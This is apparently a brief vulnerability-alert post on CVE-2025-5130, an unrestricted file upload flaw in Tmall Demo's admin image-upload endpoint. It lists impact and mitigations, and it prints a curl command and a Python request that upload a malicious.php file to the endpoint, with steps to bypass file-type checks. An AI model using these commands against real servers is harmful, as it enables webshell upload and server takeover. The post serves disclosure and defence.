Tmall Demo, Unrestricted File Upload Vulnerability, CVE-2025-5130 (Critical)

Listen to this Post

How the CVE Works

CVE-2025-5130 is a critical vulnerability in Tmall Demo (up to version 20250505) affecting the `uploadProductImage` function in tmall/admin/uploadProductImage. The flaw arises from improper validation of the `File` parameter, allowing attackers to upload arbitrary files remotely. This unrestricted file upload can lead to remote code execution (RCE), server compromise, or unauthorized data manipulation. The exploit is publicly disclosed, increasing the risk of active attacks.

DailyCVE Form

Platform: Tmall Demo
Version: ≤ 20250505
Vulnerability: Unrestricted File Upload
Severity: Critical
Date: 06/16/2025

Prediction: Patch expected by 07/10/2025

What Undercode Say

Analytics:

curl -X POST -F "[email protected]" http://target/tmall/admin/uploadProductImage
requests.post("http://target/tmall/admin/uploadProductImage", files={"file": open("malicious.php", "rb")})

Exploit:

  • Remote file upload via crafted HTTP request.
  • Bypass file-type checks.
  • Execute malicious scripts on the server.

Protection from this CVE:

  • Disable `uploadProductImage` until patched.
  • Implement strict file-type validation.
  • Apply least-privilege access controls.

Impact:

  • Remote code execution.
  • Server takeover.
  • Data integrity compromise.

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top